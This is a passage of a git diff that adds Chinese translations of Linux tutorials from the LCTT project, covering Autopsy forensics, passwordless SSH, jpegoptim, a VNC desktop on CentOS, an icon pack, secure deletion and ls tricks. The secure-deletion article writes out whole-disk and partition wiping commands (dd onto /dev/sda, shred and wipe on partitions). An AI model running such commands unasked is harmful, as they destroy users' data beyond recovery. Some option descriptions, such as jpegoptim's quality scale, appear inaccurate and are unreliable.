的文件夹。Autopsy 将在 Evidence_Locker 文件夹下存储配置文件,审计记录和输出文件。 + + #mkdir /usr/local/Evidence_Locker + + #cd autopsy-2.24 + + #./configure + +![Autopsy 配置脚本](http://blog.linoxide.com/wp-content/uploads/2015/03/autopsy-configuration.png) + +在安装过程中添加完 Evidence_Locker 的安装路径后, autopsy 在那里存储配置文件并展现如下的信息来运行 autopsy 程序。 + +![启动 Autopsy](http://blog.linoxide.com/wp-content/uploads/2015/03/start-autopsy.png) + +在虚拟终端中键入 **./autopsy** 命令来启动 Sleuth kit 工具的图形界面: + +![Autopsy](http://blog.linoxide.com/wp-content/uploads/2015/03/autopsy-started.png) + +在浏览器中键入下面的地址来访问 autopsy 的界面: + + http://localhost:9999/autopsy + +下图展现了 autopsy 插件的主页面: + +![主页](http://blog.linoxide.com/wp-content/uploads/2015/03/main-interface.png) + +在 autopsy 工具中,点击 **新案例** 按钮来开始进行分析。键入案例名称,此次调查的描述和检查人的姓名,下图有具体的展示: + +![创建新事件](http://blog.linoxide.com/wp-content/uploads/2015/03/create-new-case1.png) + +在接下来的网页中,将展示在上一个的网页中键入的详细信息。接着点击 **增加主机** 按钮来添加有关要分析的机器的详细信息。 + +![增加主机](http://blog.linoxide.com/wp-content/uploads/2015/03/add-host1.png) + +在下一个网页中键入主机名,相关的描述和要分析的机器的时区设置。 + +![添加主机的详细信息](http://blog.linoxide.com/wp-content/uploads/2015/03/add-host-detial.png) + +添加主机后,点击 **增加映像** 按钮来为取证分析添加映像文件。 + +![添加映像](http://blog.linoxide.com/wp-content/uploads/2015/03/add-image.png) + +在接下来的网页中点击 **增加映像文件** 按钮。它将打开一个新的网页,来询问映像文件的路径和选择映像的类型以及导入的方法。 + +![添加映像文件](http://blog.linoxide.com/wp-content/uploads/2015/03/Add-image-file.png) + +正如下图中展示的那样,我们已经键入了 Linux 映像文件的路径。在我们这个例子中,映像文件类型是磁盘分区。 + +![添加映像分区](http://blog.linoxide.com/wp-content/uploads/2015/03/add-image-parition.png) + +点击“下一步”按钮并在下一页中选择 **计算散列值** 的选项,这在下图中有展示。它也将检测所给映像的文件系统类型。 + +![映像和文件系统详情](http://blog.linoxide.com/wp-content/uploads/2015/03/image-and-file-system-detail.png) + +下面的图片展示了静态分析之前映像文件的 MD5 散列值。 + +![散列值](http://blog.linoxide.com/wp-content/uploads/2015/03/hash1.png) + +在下一个网页中, autopsy 展现了有关映像文件的如下信息: + +- 映像的挂载点 +- 映像的名称 +- 所给映像的文件系统类型 + +点击 **详情** 按钮来获取更多有关所给映像文件的信息。它还提供了从映像文件的卷中导出未分配的片段和字符串的数据信息,这在下图中有展现。 + +![映像的详细信息](http://blog.linoxide.com/wp-content/uploads/2015/03/image-details.png) + +在下图中那样,点击 **分析** 按钮来开始分析所给映像。它将开启另一个页面,其中包含了映像分析的多个选项。 + +![分析](http://blog.linoxide.com/wp-content/uploads/2015/03/analysis1.png) + +在映像分析过程中,Autopsy 提供了如下的功能: + +- 文件分析 +- 关键字搜索 +- 文件类型 +- 映像详情 +- 数据单元 + +下图展示的是在给定的 Linux 分区映像上进行文件分析: + +![映像的分析](http://blog.linoxide.com/wp-content/uploads/2015/03/Analysis-of-image.png) + +它将从所给映像中提取所有的文件和文件夹。在下图中也展示了已被删除的文件的提取: + +![已被删除的文件](http://blog.linoxide.com/wp-content/uploads/2015/03/deleted.png) + +### 结论 ### + +希望这篇文章能够给那些进入磁盘映像静态分析领域的新手提供帮助。Autopsy 是 sleuth kit 的网页界面,提供了在 Windows 和 Linux 磁盘映像中进行诸如字符串提取,恢复被删文件,时间线分析,网络浏览历史,关键字搜索和邮件分析等功能。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/autopsy-sleuth-kit-installation-ubuntu/ + +作者:[nido][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/naveeda/ +[1]:http://www.sleuthkit.org/sleuthkit/download.php +[2]:http://www.sleuthkit.org/autopsy/download.php \ No newline at end of file diff --git a/published/201505/20150323 How to enable ssh login without entering password.md b/published/201505/20150323 How to enable ssh login without entering password.md new file mode 100644 index 0000000000..8202bc62cd --- /dev/null +++ b/published/201505/20150323 How to enable ssh login without entering password.md @@ -0,0 +1,41 @@ +如何实现ssh无密码登录 +================================================================================ +假设你是hostA上的一个用户"aliceA",想以用户“aliceB”的身份ssh到hostB上,但又不想输入密码。那么,你可以参考这篇教程实现ssd无密码登录。 + +首先,你需要以用户“aliceA”的身份登录到hostA上。 + +然后,使用ssh-keygen生成一对rsa公私钥,生成的密钥对会存放在~/.ssh目录下。 + + $ ssh-keygen -t rsa + +接下来,使用下面的命令在目标主机hostB上的aliceB用户目录下创建~/.ssh目录。如果在aliceB@hostB上已经存在.ssh目录,这一步会被略过。 + + $ ssh aliceB@hostB mkdir -p .ssh + +最后,将hostA上用户“aliceA”的公钥拷贝到aliceB@hostB上,来实现无密码ssh。 + + $ cat .ssh/id_rsa.pub | ssh aliceB@hostB 'cat >> .ssh/authorized_keys' + +自此以后,从aliceA@hostA上ssh到aliceB@hostB上再也不需要输入密码。(LCTT 译注:上述的创建目录并复制的操作也可以通过一个 ssh-copy-id 命令一步完成:`ssh-copy-id -i ~/.ssh/id_rsa.pub aliceB@hostB`) + +### 疑难解答 ### + +1. 即使在密钥认证生效后,你可能仍然需要输入SSH密码。如果遇到这种情况,请检查系统日志(如/var/log/secure)以查看是否出现下面的异常。 + + Authentication refused: bad ownership or modes for file /home/aliceB/.ssh/authorized_keys + +在这种情况下,密钥认证的失败是由于~/.ssh/authorized_keys文件的权限或拥有者不正确。一般情况,如果这个文件对除了你之外的所有用户都可读,就会出现这个错误。用下面的方式改变文件的权限以修正错误。 + + $ chmod 700 ~/.ssh/authorized_keys + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/how-to-enable-ssh-login-without.html + +作者:[Dan Nanni][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni \ No newline at end of file diff --git a/published/201505/20150323 Linux FAQs with Answers--How to compress JPEG images from the command line on Linux.md b/published/201505/20150323 Linux FAQs with Answers--How to compress JPEG images from the command line on Linux.md new file mode 100644 index 0000000000..6d08d4d7f6 --- /dev/null +++ b/published/201505/20150323 Linux FAQs with Answers--How to compress JPEG images from the command line on Linux.md @@ -0,0 +1,100 @@ +Linux有问必答:如何在命令行下压缩JPEG图像 +================================================================================ +> **问题**: 我有许多数码照相机拍出来的照片。我想在上传到Dropbox之前,优化和压缩下JPEG图片。有没有什么简单的方法压缩JPEG图片并不损耗他们的质量? + +如今拍照设备(如智能手机、数码相机)拍出来的图片分辨率越来越大。甚至3630万像素的Nikon D800已经冲入市场,并且这个趋势根本停不下来。如今的拍照设备不断地提高着照片分辨率,使得我们不得不压缩后,再上传到有储存限制、带宽限制的云。 + +事实上,这里有一个非常简单的方法压缩JPEG图像。一个叫“jpegoptim”命令行工具可以帮助你“无损”美化JPEG图像,让你可以压缩JPEG图片而不至于牺牲他们的质量。万一你的存储空间和带宽预算真的很少,jpegoptim也支持“有损”压缩来调整图像大小。 + +如果要压缩PNG图像,参考[这个指南][1]的例子。 + +### 安装jpegoptim ### + +Ubuntu, Debian 或 Linux Mint: + + $ sudo apt-get install jpegoptim + +Fedora: + + $ sudo yum install jpegoptim + +CentOS/RHEL安装,先开启[EPEL库][2],然后运行下列命令: + + $ sudo yum install jpegoptim + +### 无损压缩jpeg图像 ### + +为了无损地压缩一副JPG图片,使用: + + $ jpegoptim photo.jpg + +---------- + + photo.jpg 2048x1536 24bit N ICC JFIF [OK] 882178 --> 821064 bytes (6.93%), optimized. + +注意,原始图像会被压缩后图像覆盖。 + +如果jpegoptim不能无损美化图像,将不会覆盖它: + + $ jpegoptim -v photo.jpg + +---------- + + photo.jpg 2048x1536 24bit N ICC JFIF [OK] 821064 --> 821064 bytes (0.00%), skipped. + +如果你想保护原始图片,使用"-d"参数指明保存目录 + + $ jpegoptim -d ./compressed photo.jpg + +这样,压缩的图片将会保存在./compressed目录(以同样的输入文件名) + +如果你想要保护文件的创建修改时间,使用"-p"参数。这样压缩后的图片会得到与原始图片相同的日期时间。 + + $ jpegoptim -d ./compressed -p photo.jpg + +如果你只是想看看无损压缩率而不是真的想压缩它们,使用"-n"参数来模拟压缩,然后它会显示出压缩率。 + + $ jpegoptim -n photo.jpg + +### 有损压缩JPG图像 ### + +万一你真的需要要保存在云空间上,你还可以使用有损压缩JPG图片。 + +这种情况下,使用"-m<质量>"选项,质量数范围0到100。(0是最好质量,100是最差质量) + +例如,用50%质量压缩图片: + + $ jpegoptim -m50 photo.jpg + +---------- + + photo.jpg 2048x1536 24bit N ICC JFIF [OK] 882178 --> 301780 bytes (65.79%), optimized. + +在牺牲质量的基础上,将会得到一个更小的图片。 + +![](https://farm9.staticflickr.com/8707/16260736234_6d6f1d2434_c.jpg) + +### 一次压缩多张JPEG图像 ### + +最常见的情况是需要压缩一个目录下的多张JPEG图像文件。为了应付这种情况,你可以使用接下来的脚本。 + + #!/bin/sh + + # 压缩当前目录下所有*.jpg文件 + # 保存在./compressed目录 + # 并拥有与原始文件同样的修改日期 + for i in *.jpg; do jpegoptim -d ./compressed -p "$i"; done + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/compress-jpeg-images-command-line-linux.html + +作者:[Dan Nanni][a] +译者:[VicYu/Vic020](https://github.com/Vic020) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://xmodulo.com/how-to-compress-png-files-on-linux.html +[2]:https://linux.cn/article-2324-1.html diff --git a/published/201505/20150323 Linux FAQs with Answers--How to install and access CentOS remote desktop on VPS.md b/published/201505/20150323 Linux FAQs with Answers--How to install and access CentOS remote desktop on VPS.md new file mode 100644 index 0000000000..7c3db8a320 --- /dev/null +++ b/published/201505/20150323 Linux FAQs with Answers--How to install and access CentOS remote desktop on VPS.md @@ -0,0 +1,121 @@ +Linux有问必答:如何在VPS上安装和访问CentOS 7远程桌面 +================================================================================ +> **提问**: 我想在VPS中安装CentOS桌面,并可以直接从我家远程访问GUI桌面。在VPS上设置和访问CentOS远程桌面有什么建议吗? + +如何远程办公或者远程弹性化工作制在技术领域正变得越来越流行。这个趋势背后的一个技术就是远程桌面。你的桌面环境在云中,你可以在任何你去的地方,或者在家或者工作场所访问你的远程桌面。 + +这个教程介绍如何VPS中设置基于CentOS的远程桌面。现在,我们会先展示CentOS的基础环境。 + +我们假设你已经创建了CentOS 7的VPS实例(比如,使用[DigitalOcean][1] 或者 Amazon EC2)。请确保你的VPS实例有至少1GB的内存。不然,CentOS将会在你访问远程桌面的时候回崩溃。 + +### 第一步: 安装CentOS桌面 ### + +如果你现在安装的CentOS版本是没有桌面的最小版本,你需要先在VPS上安装桌面(比如GNOME)。比如,DigitalOcean的镜像就是最小版本,它需要如下安装[桌面GUI][2] + + # yum groupinstall "GNOME Desktop" + +在安装完成之后重启VPS。 + +### 第二步:安装和配置VNC服务器 ### + +接下来就是安装和配置VNC服务器。我们使用的是TigerVNC,一个开源的VNC服务实现。 + + # yum install tigervnc-server + +现在创建一个用户账户(比如:xmodulo)用来访问远程桌面。 + + # useradd xmodulo + # passwd xmodulo + +当一个用户尝试使用VNC访问远程桌面时,VNC守护进程就会启动来处理这个请求。这意味着你需要为每个用户创建一个独立的VNC配置文件。 + +CentOS依靠systemd来管理和配置系统服务。所以我们将使用systemd来为用户xmodulo配置VNC服务器。 + +首先让我们使用下面任意一条命令来检查VNC服务器的状态。 + + # systemctl status vncserver@:.service + # systemctl is-enabled vncserver@.service + +默认的,刚安装的VNC服务并没有激活(禁用)。 + +![](https://farm8.staticflickr.com/7613/16877514732_8ccffe7b6b_b.jpg) + +现在复制一份通用的VNC服务文件来为用户xmodulo创建一个VNC服务配置。 + + # cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@:1.service + +用本文编辑器来打开配置文件,用实际的用户名(比如:xmodulo)来替换[Service]下面的。同样。在ExecStart后面追加 "-geometry " 参数。最后,要修改下面“ExecStart”和“PIDFile”两行。 + + # vi /etc/systemd/system/vncserver@:1.service + +---------- + + [Service] + Type=forking + # Clean any existing files in /tmp/.X11-unix environment + ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :' + ExecStart=/sbin/runuser -l xmodulo -c "/usr/bin/vncserver %i -geometry 1024x768" + PIDFile=/home/xmodulo/.vnc/%H%i.pid + ExecStop=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :' + +现在为用户xmodulo设置密码(可选)。首先切换到该用户,并运行vncserver命令。 + + # su - xmodulo + # vncserver + +你会被提示输入用户的VNC密码。密码设置完成后,你下次需要用这个密码来访问你的远程桌面。 + +![](https://farm9.staticflickr.com/8752/16692564599_9c4e5da1b6_b.jpg) + +最后,重新加载服务来使新的VNC配置生效: + + # systemctl daemon-reload + +在启动时自动启动VNC服务: + + # systemctl enable vncserver@:1.service + +检查vnc服务正在监听的端口: + + # netstat -tulpn | grep vnc + +![](https://farm8.staticflickr.com/7625/16692646729_7bb16c4897_b.jpg) + +端口5901是VNC默认的客户端连接到VNC服务器使用的端口。 + +### 第三步:通过SSH连接到远程桌面 ### + +从设计上说,VNC使用的远程帧缓存(RFB)并不是一种安全的协议,那么在VNC客户端上直接连接到VNC服务器上并不是一个好主意。任何敏感信息比如密码都可以在VNC流量中被轻易地泄露。因此,我强烈建议使用SSH隧道来[加密你的VNC流量][3]。 + +在你要运行VNC客户端的本机上,使用下面的命令来创建一个连接到远程VPS的SSH通道。当被要输入SSH密码时,输入用户的密码。 + + $ ssh xmodulo@ -L 5901:127.0.0.1:5901 + +用你自己的VNC用户名来替换“xmodulo”,并填上你自己的VPS IP地址。 + +一旦SSH通道建立之后,远程VNC流量就会通过ssh通道路由并发送到127.0.0.1:5901。 + +现在启动你最爱的VNC客户端(比如:vinagre),来连接到127.0.0.1:5901。 + +![](https://farm8.staticflickr.com/7639/16691289910_fae83510fb_o.png) + +你将被要求输入VNC密码。当你输入VNC密码时,你就可以安全地连接到CentOS的远程桌面了。 + +![](https://farm8.staticflickr.com/7614/16877678411_aa8349f6b1_c.jpg) + +![](https://farm9.staticflickr.com/8702/16256320434_81f9b5b70c_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/centos-remote-desktop-vps.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://xmodulo.com/go/digitalocean +[2]:http://xmodulo.com/how-to-install-gnome-desktop-on-centos.html +[3]:http://xmodulo.com/how-to-set-up-vnc-over-ssh.html diff --git a/published/201505/20150323 Square 2.0 Icon Pack Is Twice More Beautiful.md b/published/201505/20150323 Square 2.0 Icon Pack Is Twice More Beautiful.md new file mode 100644 index 0000000000..cd8c8556a0 --- /dev/null +++ b/published/201505/20150323 Square 2.0 Icon Pack Is Twice More Beautiful.md @@ -0,0 +1,55 @@ +更漂亮的 Square 2.0图标包 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Square_Icon_Pack_Linux_3.jpeg) + +优雅、现代的[Square图标主题][1]最近更新到了2.0版,它比以前更漂亮了。Square图标包与其他主要的桌面环境如**Unity、 GNOME、KDE、 MATE等等**兼容。这意味着你可以在所有的流行Linux发行版如Ubuntu、Fedora、Linux Mint、elementary OS等等中使用它。 这个图标包估计包含超过了15000个图标。 + +### 在Linux中安装Square 2.0图标包 ### + +有两种不同的Square图标,暗色和亮色。基于你的喜好,你可以选择二者之一。出于体验的目的,我建议你两个主题包都下载。 + +你可以用下面的链接下载图标包。文件存储在Google Drive,因此如果你没有看见像[SourceForge][2]这样标准的下载网站时不要怀疑。 + +- [Square Dark Icons][3] +- [Square Light Icons][4] + +要使用图标主题,解压下载的文件到~/.icons文件夹下。如果它不存在,就创建它。当这些文件放好后,基于你的桌面环境,使用一个工具来改变图标主题。我以前写了一些关于这个主题的教程。如果你需要额外的帮助,那么欢迎指出来: + +- [如何在Ubuntu Unity中改变主题][5] +- [如何在GNOME Shell中改变主题][6] +- [如何在Linux Mint中改变主题][7] +- [如何在Elementary OS Freya中改变主题][8] + +### 试一下 ### + +这是我用Square图标在Ubuntu 14.04中的效果。我背景使用的是[Ubuntu 15.04 默认壁纸][9]。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Square_Icon_Pack_Linux_2.jpeg) + +Square主题中几个图标的样子: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Square_Icon_Pack_Linux.jpeg) + +你觉得怎么样?你认为它是[Ubuntu 14.04中最佳的图标主题][10]之一么?你会分享它并期待更多关于自定义Linux桌面的文章么? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/square-2-0-icon-pack-linux/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://gnome-look.org/content/show.php/Square?content=163513 +[2]:http://sourceforge.net/ +[3]:http://gnome-look.org/content/download.php?content=163513&id=1&tan=62806435 +[4]:http://gnome-look.org/content/download.php?content=163513&id=2&tan=19789941 +[5]:http://itsfoss.com/how-to-install-themes-in-ubuntu-13-10/ +[6]:http://itsfoss.com/install-switch-themes-gnome-shell/ +[7]:http://itsfoss.com/install-icon-linux-mint/ +[8]:http://itsfoss.com/install-themes-icons-elementary-os-freya/ +[9]:http://itsfoss.com/default-wallpapers-ubuntu-1504/ +[10]:http://itsfoss.com/best-icon-themes-ubuntu-1404/ diff --git a/published/201505/20150324 4 Tools to Securely Delete Files from Linux.md b/published/201505/20150324 4 Tools to Securely Delete Files from Linux.md new file mode 100644 index 0000000000..5926279c9e --- /dev/null +++ b/published/201505/20150324 4 Tools to Securely Delete Files from Linux.md @@ -0,0 +1,131 @@ +Linux 下四种安全删除文件的工具 +=============== + +任何一个普通水平的计算机用户都知道,从计算机系统中删除的任意数据都可以稍后通过一些努力恢复出来。当你不小心删除了你的重要数据时,这是一个不错的方案。但是大多数情况,你不希望你的隐私数据被轻易地恢复。不论何时,我们删除的任意文件,操作系统删除的仅仅是对特定数据的索引。这就意味着,数据仍然保存在磁盘的某块地方,这种方法是不安全的,任何一个聪明的计算机黑客可以使用各种不错的数据恢复工具来恢复你删除的数据。Linux 用户利用我们都知晓的 "rm" 命令来从他们的操作系统中删除数据,但是 "rm" 命令也是像上面说的那样删除文件。从这个命令删除的数据也可以使用特殊的文件恢复工具恢复。 + +让我们看看怎样安全并完整地从你的 Linux 系统中删除文件或者文件夹。以下提到的工具可以完全地删除数据,因此那些恢复工具很难找到真实数据的痕迹然后恢复它。 + +### Secure-Delete ### + +Secure-Delete 是一组为 Linux 操作系统而生的工具集合,他们为永久删除文件提供了先进的技术支持。一旦 Secure-Delete 安装在各种 Linux 系统上,就提供了如下的四个命令: + +- srm +- smem +- sfill +- sswap + +在 ubuntu 的终端中运行如下命令安装此工具: + + sudo apt-get install secure-delete + +![secure delete](http://blog.linoxide.com/wp-content/uploads/2015/03/secure-delete.png) + +在 RHEL,Fedora 或者 Centos 中运行如下命令安装此工具: + + sudo yum install secure-delete + +“**srm**” 命令的工作方式和 "rm" 命令类似,但是它不仅仅是删除文件,它首先使用一些随机的数据重写数次文件,然后彻底地删除此文件。这个命令的语法是相当地简单,仅仅指定要删除的文件或者目录,然后它会负责此任务。 + + sudo srm /home/aun/Documents/xueo/1.png + +"**sfill**" 检测在指定的分区或者目录被标记为空闲或者可用的空间,然后使用它自身的算法用一些随机数据填充。因此它保证了在此分区没有可以恢复的文件或者文件夹。 + + sudo sfill /home + +"**sswap**" 命令用来安全地清除你的交换分区。交换分区用来存放运行程序的数据。首先我们需要运行如下命令来找到你的交换分区。 + + cat /proc/swaps + +如下是上述命令的输出示例: + + aun@eagle:~$ cat /proc/swaps + Filename Type Size Used Priority + /dev/sda5 partition 2084860 71216 -1 + +从现在起,你可以看到你的交换分区设置在哪个分区,然后使用如下命令安全地清除。替换 "/dev/sda5" 部分为你的交换分区名字。 + + sudo sswap /dev/sda5 + +“**smem**” 用来清理在内存中的内容,虽然当系统重启或者关机时会清理随机存取存储器(RAM)中的内容,但是内存中仍然会保留一些数据的残留痕迹。这个命令提供安全的内存清理,简单地在终端中运行 smem 命令即可。 + + smem + +### Shred ### + +"shred" 命令以一种不可恢复的方式来销毁文件或者文件夹的内容。它使用随机生成的数据模式来持续覆写文件,因此很难恢复任意的被销毁的数据,即使是那些黑客或者窃贼使用高水平的数据恢复工具或者设备。Shred 默认安装在所有 Linux 发行版中,如果你想,你可以运行如下命令来找到它的安装目录: + + aun@eagle:~$ whereis shred + + shred: /usr/bin/shred /usr/share/man/man1/shred.1.gz + +使用 shred 工具运行如下命令来删除文件: + + shred /home/aun/Documents/xueo/1.png + +使用 shred 运行如下命令来删除任意的分区,用你期望的分区来替换分区名字。 + + shred /dev/sda5 + +Shred 默认情况下使用随机内容重写数据 25 次。如果你想它重写文件更多次数,可以使用 "shred -n" 选项来简单地指定你所期望的次数。 + + shred -n 100 filename + +如果你想在重写后截断或者删除文件,使用 "shred -u" 选项: + + shred -u filename + +### dd ### + +这个命令起初是用于磁盘克隆的。它用于将一个分区或者一个磁盘复制到另一个分区或者磁盘。但是它还可用于安全地清除硬盘或者分区的内容。运行如下命令使用随机数据来重写你的当前数据。你不需要安装 dd 命令,所有的 Linux 分发版都已经包含了此命令。 + + sudo dd if=/dev/random of=/dev/sda + +你也可以覆写磁盘或者分区中的内容,只需要简单地将所有替换为 “zero”。 + + sudo dd if=/dev/zero of=/dev/sda + +### Wipe ### + +Wipe 起初开发的目的是从磁性介质中安全地擦除文件。这个命令行工具使用特殊的模式来重复地写文件。它使用 fsync() 调用和/或 O_SYNC 位来强制访问磁盘,并且使用 Gutmann 算法来重复地写。你可以使用此命令删除单个文件、文件夹或者整个磁盘的内容,但是使用 wipe 命令来删除整个磁盘的模式会耗费大量的时间。另外,安装和使用这个工具相当容易。 + +在 ubuntu 的终端中运行如下命令来安装 wipe。 + + sudo aptitude install wipe + +![Wipe Linux](http://blog.linoxide.com/wp-content/uploads/2015/03/wipe.png) + +使用如下命令在 Redhat Linux,Centos 或者 Fedora 中安装 Wipe: + + sudo yum install wipe + +一旦安装完成,在终端中运行如下命令来获得完整的可用选项列表: + + man wipe + +删除任意文件或者目录: + + wipe filename + +运行如下命令来安全地移除 tmp 分区: + + wipe -r /tmp + +使用如下的命令来删除完整分区的内容(替换分区名字为你所期望的分区)。 + + wipe /dev/sda1 + +### 小结 ### + +我们期望这篇文章对你有帮助,你的数据隐私是有决定性意义的,在你的系统中安装这些安全的删除工具对你来说非常重要,因此你可以删除你的隐私数据而不用担心它们被轻易地恢复。上面提到的所有工具都是相当轻量的,它们只需要耗费最低的系统资源来运行,并且无论如何也不会影响你的系统性能。享受它们带来的便利吧! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/security/delete-files-permanatly-linux/ + +作者:[Aun Raza][a] +译者:[dbarobin](https://github.com/dbarobin) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunrz/ \ No newline at end of file diff --git a/published/201505/20150324 7 Quirky' ls' Command Tricks Every Linux User Should Know.md b/published/201505/20150324 7 Quirky' ls' Command Tricks Every Linux User Should Know.md new file mode 100644 index 0000000000..b41338034f --- /dev/null +++ b/published/201505/20150324 7 Quirky' ls' Command Tricks Every Linux User Should Know.md @@ -0,0 +1,163 @@ +Linux用户应知应会的7个‘ls’命令的独特技巧 +================================================================================ + +在前面我们系列报道的两篇文章中,我们已经涵盖了关于‘ls’命令的绝大多数内容。本文时‘ls命令’系列的最后一部分。如果你还没有读过该系列的其它两篇文章,你可以访问下面的链接。 + +- [Linux中的15个基本‘ls’命令示例][1] +- [15 个‘ls’命令的面试问题(一)][2] +- [10 个‘ls’命令面试的问题(二)][3] + +![7 Quirky ls Command Tricks](http://www.tecmint.com/wp-content/uploads/2015/03/ls-command-tricks.jpg) + +*7个ls命令独特技巧* + +### 1. 以各种时间格式附带时间戳列出目录中的内容 ### + +要以时间格式列出目录内容,我们需要选择以下两种方法中的任何一种。 + + # ls -l –time-style=[STYLE] (方法 A) + +**注意** - 上面的开关`--time`的格式必须和`-l`开关同时使用,否则达不到目的。 + + # ls -full-time (方法 B) + +可以用以下任何一个选项替换`[STYLE]`。 + + full-iso + long-iso + iso + locale + +%H:%M:%S:%D + +**注意** - 在上面行中,H(时),M(分),S(秒),D(日)的顺序可以任意调整。此外,你只需选择那些相关的选项,而不是所有选项。例如,`ls -l --time-style=+%H`将只显示小时。`ls -l --time-style=+%H:%M:%D`将显示小时、分钟和日。 + + # ls -l --time-style=full-iso + +![ls Command Full Time Style](http://www.tecmint.com/wp-content/uploads/2015/03/ls-Command-Full-Time-Style.gif) + +*ls命令的完整 ISO时间格式* + + # ls -l --time-style=long-iso + +![Long Time Style Listing](http://www.tecmint.com/wp-content/uploads/2015/03/Long-Time-Listing-Format.gif) + +*长时间格式列表* + + # ls -l --time-style=iso + +![Time Style Listing](http://www.tecmint.com/wp-content/uploads/2015/03/Local-Time-Style-Listing.gif) + +*时间格式列表* + + # ls -l --time-style=locale + +![Locale Time Style Listing](http://www.tecmint.com/wp-content/uploads/2015/03/Hour-Mintue-Time-Style-Listing.gif) + +*本地时间格式列表* + + # ls -l --time-style=+%H:%M:%S:%D + +![Date and Time Style Listing](http://www.tecmint.com/wp-content/uploads/2015/03/Full-Time-Style-Listing.gif) + +*日期和时间格式列表* + + # ls --full-time + +![Full Style Time Listing](http://www.tecmint.com/wp-content/uploads/2015/03/Full-Style-Time-Listing.gif) + +*完整格式时间列表* + +### 2. 以多种格式列出目录内容,如以逗号分隔、水平格式、长格式、垂直格式、交叉格式等列出。 ### + +目录内容可以用以下建议的ls命令各种格式列出: + + # ls --format=across # 交叉 + # ls --format=comma # 逗号 + # ls --format=horizontal # 水平 + # ls --format=long # 长格式 + # ls --format=single-column # 单栏 + # ls --format=verbose # 详情 + # ls --format=vertical # 垂直 + +![Listing Formats of ls Command](http://www.tecmint.com/wp-content/uploads/2015/03/ls-command-Listing-Formats.gif) + +*ls命令的列出格式* + +### 3. 使用ls命令为目录内容输出结果添加像(/=@|)这样的指示符。 ### + +带有`-p`选项的ls命令将实现该目的。它会根据文件类型添加上面这些指示符其中之一。 + + # ls -p + +![Append Indicators to Content](http://www.tecmint.com/wp-content/uploads/2015/03/Append-Indicators.gif) + +*添加指示符到内容* + +### 4. 根据扩展名、大小、时间和版本对目录内容排序。 ### + +我们可以使用`--extension`选项来按照扩展名对输出结果排序,`--size`扩展选项按照大小排序,`-t`扩展选项按照时间排序,`-v`扩展选项对版本排序。 + +我们也可以使用`--none`选项,它会以常规方式输出结果而不会进行排序。 + + # ls --sort=extension + # ls --sort=size + # ls --sort=time + # ls --sort=version + # ls --sort=none + +![Sort Listing of Content by Options](http://www.tecmint.com/wp-content/uploads/2015/03/Sort-Content-by-Extensions.gif) + +*通过选项对内容排序列出* + +### 5. 使用ls命令打印目录中各个项的数字UID和GID。 ### + +上面的环境可以通过使用带有-n标识的ls命令来实现。 + + # ls -n + +![Print Listing of Content by UID and GID](http://www.tecmint.com/wp-content/uploads/2015/03/Print-UID-GID-of-Contents.gif) + +*通过UID和GID对打印内容列表* + +### 6. 标准输出结果中打印目录内容中比默认指定的更多栏目。 ### + +好吧,ls命令根据屏幕大小自动输出目录内容。 + +然而,我们可以手动分配屏幕宽度的值和出现的栏目的控制数。这可以通过使用‘`--width`’开关实现。 + + # ls --width 80 + # ls --width 100 + # ls --width 150 + +![List Content Based on Window Sizes](http://www.tecmint.com/wp-content/uploads/2015/03/List-Content-By-More-Column.gif) + +*根据窗口大小列出内容* + +**注意**: 你可以试验你可以给width标识传递什么值。 + +### 7. 通过ls命令为列出的目录内容手动指定的制表符大小而不是默认的8。 ### + + # ls --tabsize=[value] + +![List Content by Table Size](http://www.tecmint.com/wp-content/uploads/2015/03/List-Content-by-Table-Size.gif) + +*按表尺寸列出内容* + +**注意**: 指定`[Value]`的数值。 + +到目前为止,都讲完了。保持连线,我们会推出下一篇文章。别忘了在下面的评论中为我们提供有价值的反馈。为我们点赞并分享,帮我们推广。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-ls-command-tricks/ + +作者:[Avishek Kumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-5109-1.html +[2]:https://linux.cn/article-5349-1.html +[3]:https://linux.cn/article-5350-1.html diff --git a/published/201505/20150324 How to Host Open Source Code Repository in github.md 